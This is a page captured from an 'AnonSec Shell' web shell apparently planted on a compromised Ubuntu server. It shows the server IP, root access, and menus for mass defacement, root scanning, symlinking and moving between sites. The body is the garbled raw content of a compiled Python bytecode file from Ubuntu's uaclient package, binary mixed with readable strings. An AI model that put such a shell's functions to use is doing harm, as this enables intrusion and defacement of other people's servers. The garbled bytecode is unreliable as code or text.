AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/root/usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/root/usr/lib/python3/dist-packages/uaclient/__pycache__/system.cpython-310.pyc
o

F��c6C�@s�ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZddl
mZmZmZmZmZmZmZddlmZmZmZdZdZdZd	Zd
ZdZdZed
dej fdej fg�Z!edde"fdee"fdee#fdee#fdee#fdee"fdee"fg�Z$e
dd�de$fdd��Z%e
dd�de"fdd��Z&e
dd�de"fdd��Z'e
dd�de"fd d!��Z(e
dd�dee"e"ffd"d#��Z)e
dd�d$e"de*fd%d&��Z+e
dd�de*fd'd(��Z,e
dd�d$e"de*fd)d*��Z-e
dd�d$e"de*fd+d,��Z.e
dd�de*fd-d.��Z/e
dd�d_d0e"de*fd1d2��Z0e
dd�d`d3ee"dee"e"ffd4d5��Z1e
dd�d$e"de!fd6d7��Z2d8e"dee"fd9d:�Z3		dad;eee"d<eee"de*fd=d>�Z4d?e"de*fd@dA�Z5dbdCe"dDe*de"fdEdF�Z6dcdCe"dHe#ddfdIdJ�Z7dcdCe"dKe"dHe#ddfdLdM�Z8dNe"ddfdOdP�Z9		Q		dddRee"dSeee#dTe*dUee:dVeee"e"fdee"e"ffdWdX�Z;		Q			dedRee"dSeee#dTe*dUee:dYeee:dVeee"e"fdee"e"ffdZd[�Z<d\e"ddfd]d^�Z=dS)f�N)�	lru_cache)�rmtree)�Dict�List�
NamedTuple�Optional�Sequence�Set�Tuple)�
exceptions�messages�utilz/var/run/reboot-requiredz/var/run/reboot-required.pkgsz/etc/machine-idz/var/lib/dbus/machine-idz!/usr/share/distro-info/ubuntu.csvz5(?P<release>\d+\.\d+) (LTS\s*)?(\((?P<series>\w+))?.*zd^(?P<major>[\d]+)[.-](?P<minor>[\d]+)[.-](?P<patch>[\d]+)-(?P<abi>[\d]+)-(?P<flavor>[A-Za-z0-9_-]+)$�
DistroInfo�eol�eol_esm�
KernelInfo�
uname_release�proc_version_signature_version�major�minor�patch�abi�flavor)�maxsize�returnc
Cs�d}ztd�}|��d}Wntyt�d�Ynwt��j��}t	�
t|�}|durCt�tj
j|d��t||dddddd�St||t|�d��t|�d��t|�d��|�d	�|�d
�d�S)Nz/proc/version_signature�z*failed to process /proc/version_signature.)�kernel)rrrrrrrrrrrr)�	load_file�split�	Exception�logging�warning�os�uname�release�strip�re�match�RE_KERNEL_UNAMEr�KERNEL_PARSE_ERROR�formatr�int�group)r�proc_version_signature_fullr�uname_match�r/�1/usr/lib/python3/dist-packages/uaclient/system.py�get_kernel_info;s>���
�r1cCsdtdg�\}}|��D]}|���d�r%|�d�d��}|r#|Snqtj}tj|j	|j
d��)zused for livepatch�lscpuz
Architecture:�:r)�msg�msg_code)�subp�
splitlinesr%�
startswithrr�LSCPU_ARCH_PARSE_ERRORr�UserFacingErrorr4�name)�out�_err�line�arch�	error_msgr/r/r0�get_lscpu_arch_s��rAcCstddg�\}}|��S)N�dpkgz--print-architecture)r6r%)r<r=r/r/r0�
get_dpkg_archp�rCcCs~|jr|j�di��d�}|r|S|�d�}tt|fD]}tj�|�r0t|��	d�}|r0|Sqt
t���}|�
d|�|S)z�
    Get system's unique machine-id or create our own in data_dir.
    We first check for the machine-id in machine-token.json before
    looking at the system file.
    �machineTokenInfo�	machineIdz
machine-id�
)�
machine_token�get�	data_path�ETC_MACHINE_ID�DBUS_MACHINE_IDr"�path�existsr�rstrip�str�uuid�uuid4�write_cache)�cfg�cfg_machine_id�fallback_machine_id_filerM�content�
machine_idr/r/r0�get_machine_idvs �
�rYcCs�t�}|�dd�dd�}t�dd|�dd��}||d	<|�d
d�}|�dd�}|r+|sZt�t|�}|s>tj|�dd�|d��|��}|pI|�d
d�}|sRtj	|d��|pY|�dd�}|�
||��t�j
t�d��|S)z�
    Returns a dict of platform information.

    N.B. This dict is sent to the contract server, which requires the
    distribution, type and release keys.
    �NAME�UNKNOWN�Linux)�distribution�typez\.\d LTSz LTS�VERSION��version�VERSION_CODENAME�
VERSION_ID)�orig_ver�mod_ver�series)rar$)r$rfrr?)�parse_os_releaserIr&�subr'�REGEX_OS_RELEASE_VERSIONr�ParsingErrorOnOSReleaseFile�	groupdict�MissingSeriesOnOSReleaseFile�update�lowerr1rrC)�
os_release�
platform_inforarfr$r'�
match_dictr/r/r0�get_platform_info�s6
����rrrfcC�tddg�\}}||vS)N�/usr/bin/ubuntu-distro-infoz--supported-esm�r6�rfr<r=r/r/r0�is_lts�rDrwcC�tt�d�S�Nrf)rwrrr/r/r/r0�is_current_series_lts��rzcCrs)Nrtz--supportedrurvr/r/r0�is_supported�rDr|cCs,t|�sdStdd|dg�\}}t|�dkS)zCReturn True when Ubuntu series supports ESM and is actively in ESM.Frtz--seriesz-yeolr)rwr6r+rvr/r/r0�
is_active_esm�s
�r}cCrxry)r}rrr/r/r/r0�is_current_series_active_esm�r{r~�/run�run_pathc	Cs~ztdg�WdStjyYnwz	tgd��WdSttfy'YnwdD]}tj�||�}tj�|�r<dSq*dS)z>Checks to see if this code running in a container of some sort�ischrootF)zsystemd-detect-virtz--quietz--containerT)�container_typezsystemd/container)	r6r�ProcessExecutionError�IOError�OSErrorr"rM�joinrN)r��filenamerMr/r/r0�is_container�s$
���r��release_filecCsH|sd}i}t|���D]}|�dd�\}}|r!|���d�||<q|S)Nz/etc/os-release�=r�")rr7rr%)r��datar>�key�valuer/r/r0rg�s�rgcCs�ztt���}Wn
tyt�tj��w|D]:}|�d�}|d|krR|dkr,d}nd|dvr6|dn|d}t	t
j
�|dd	���t
j
�|d	���d
�Sqt�tj
�|���)N�,��xenialz
2026-04-23�LTSr��z%Y-%m-%d)rr)r�DISTRO_INFO_CSVr7�FileNotFoundErrorrr:r�MISSING_DISTRO_INFO_FILErr�datetime�strptime�date�"MISSING_SERIES_IN_DISTRO_INFO_FILEr*)rf�linesr>�valuesrr/r/r0�get_distro_infos&�

��

�r��programcCsrtjj|vrt|�r|Sdd�tj�dd��tj�D�}dd�|D�}|D]}tj�||�}t|�r6|Sq%dS)z;Find whether the provided program is executable in our PATHcSsg|]}|�d��qS)r�)r%��.0�pr/r/r0�
<listcomp>"s
�zwhich.<locals>.<listcomp>�PATHr`cSsg|]}tj�|��qSr/)r"rM�abspathr�r/r/r0r�%sN)	r"rM�sep�is_exe�environrIr�pathsepr�)r��paths�normalized_pathsrM�program_pathr/r/r0�whichs��r��installed_pkgs�installed_pkgs_regexcCs�tj�t�sdS|dur|durdSzttt��d��}Wn
ty'YdSw|dur7t	|�
|��dkr7dS|durO|D]}|D]}t�||�rMdSqAq=dS)a�Check if the system needs to be rebooted.

    :param installed_pkgs: If provided, verify if the any packages in
        the list are present on /var/run/reboot-required.pkgs. If that
        param is provided, we will only return true if we have the
        reboot-required marker file and any package in reboot-required.pkgs
        file. When both installed_pkgs and installed_pkgs_regex are
        provided, they act as an OR, so only one of the two lists must have
        a match to return True.
    :param installed_pkgs_regex: If provided, verify if the any regex in
        the list matches any line in /var/run/reboot-required.pkgs. If that
        param is provided, we will only return true if we have the
        reboot-required marker file and any match in reboot-required.pkgs
        file. When both installed_pkgs and installed_pkgs_regex are
        provided, they act as an OR, so only one of the two lists must have
        a match to return True.
    FNTrGr)
r"rMrN�REBOOT_FILE_CHECK_PATH�setr�REBOOT_PKGS_FILE_PATHrr��len�intersectionr&�search)r�r��reboot_required_pkgs�pkg_name�	pkg_regexr/r/r0�
should_reboot-s,����r�rMcCstj�|�ot�|tj�S�N)r"rM�isfile�access�X_OK)rMr/r/r0r�csr�Tr��decodecCsHt�d|�t|d��}|��}Wd�n1swY|�d�S)z!Read filename and decode content.zReading file: %s�rbN�utf-8)r �debug�open�readr�)r�r��streamrWr/r/r0rhs

�
r��modecCs@t�d|�tjtj�|�dd�t�|���t�	||�dS)NzCreating file: %sT��exist_ok)
r r�r"�makedirsrM�dirname�pathlib�Path�touch�chmod)r�r�r/r/r0�create_filepsr�rWc
Cs�d}z@tjtj�|�dd�tjddtj�|�d�}t�d||j�|�	|�
d��|��|��t�
|j|�t�|j|�WdStyZ}z|durTt�|j�|�d}~ww)	z�Write content to the provided filename encoding it if necessary.

    @param filename: The full path of the file to write.
    @param content: The content to write to the file.
    @param mode: The filesystem mode to set on the file.
    NTr��wbF)r��delete�dirz*Writing file %s atomically via tempfile %sr�)r"r�rMr��tempfile�NamedTemporaryFiler r�r;�write�encode�flush�closer��renamer�unlink)r�rWr��tmpf�er/r/r0�
write_filews(����r��	file_pathcCs*tj�|�rt�d|�t�|�dSdS)z<Remove a file if it exists, logging a message about removal.zRemoving file: %sN)r"rMrNr r�r�)r�r/r/r0�ensure_file_absent�s�r�F�args�rcs�capture�timeout�envc
Csdd�|D�}|r|�tj�|durdg}t�d�|��}ztj|tjtj|d�}|j	|d�\}}	Wn%t
yXztj||j
|�d�|	�d�d	��tyWtj|d
��ww|j
|vrntj||j
|�d�|	�d�d	��|ryt�d||j
|	�|�d�|	�d�fS)a�Run a command and return a tuple of decoded stdout, stderr.

    @param args: A list of arguments to feed to subprocess.Popen
    @param rcs: A list of allowed return_codes. If returncode not in rcs
        raise a ProcessExecutionError.
    @param capture: Boolean set True to log the command and response.
    @param timeout: Optional float indicating number of seconds to wait for
        subp to return.
    @param env: Optional dictionary of environment variable to pass to Popen.

    @return: Tuple of utf-8 decoded stdout, stderr
    @raises ProcessExecutionError on invalid command or returncode not in rcs.
    @raises subprocess.TimeoutError when timeout specified and the command
        exceeds that number of seconds.
    cSs$g|]}t|t�r|n|�d��qS)r�)�
isinstance�bytesr�)r��xr/r/r0r��s�z_subp.<locals>.<listcomp>Nr� )�stdout�stderrr�)r�r�)�cmd�	exit_coder�r�)r�zRan cmd: %s, rc: %s stderr: %s)rmr"r�r
�redact_sensitive_logsr��
subprocess�Popen�PIPE�communicater�rr��
returncoder��UnboundLocalErrorr r�)
r�r�r�r�r��
bytes_args�redacted_cmd�procr<�errr/r/r0�_subp�sP�����

��r��retry_sleepsc
Cs�|dur|��nd}	zt|||||d�\}}W||fStjyg}z?|r@t�t�t|���d�	|j
|j�}	t�t�|	��|sC�dt
|�}
t�t�t|�|
��t�|�d��WYd}~nd}~wwq)a�Run a command and return a tuple of decoded stdout, stderr.

     @param subp: A list of arguments to feed to subprocess.Popen
     @param rcs: A list of allowed return_codes. If returncode not in rcs
         raise a ProcessExecutionError.
     @param capture: Boolean set True to log the command and response.
     @param timeout: Optional float indicating number of seconds to wait for a
         subp call to return.
     @param retry_sleeps: Optional list of sleep lengths to apply between
        retries. Specifying a list of [0.5, 1] instructs subp to retry twice
        on failure; sleeping half a second before the first retry and 1 second
        before the next retry.
     @param env: Optional dictionary of environment variables to provide to
        subp.

    @return: Tuple of utf-8 decoded stdout, stderr
    @raises ProcessExecutionError on invalid command or returncode not in rcs.
    @raises subprocess.TimeoutError when timeout specified and the command
        exceeds that number of seconds.
    NT)r�zStderr: {}
Stdout: {}z Retrying %d more times.r)�copyr�rr�r r�r
r�rPr*r�r�r!r��time�sleep�pop)r�r�r�r�r�r�r<r�r�r4�	retry_msgr/r/r0r6�s&����r6�folder_pathcCs(tj�|�rt�d|�t|�dSdS)NzRemoving folder: %s)r"rMrNr r�r)r�r/r/r0�ensure_folder_absents�r)rr�)NN)T)r�)NFNN)NFNNN)>r�r r"r�r&r�r�r�rQ�	functoolsr�shutilr�typingrrrrrr	r
�uaclientrrr
r�r�rKrLr�rir(r�rrPr+rr1rArCrYrr�boolrwrzr|r}r~r�rgr�r�r�r�rr�r�r��floatr�r6rr/r/r/r0�<module>s�$���





��#+
"�
�
�
�6	��
����

�@��
���
��

�.

Anon7 - 2022
AnonSec Team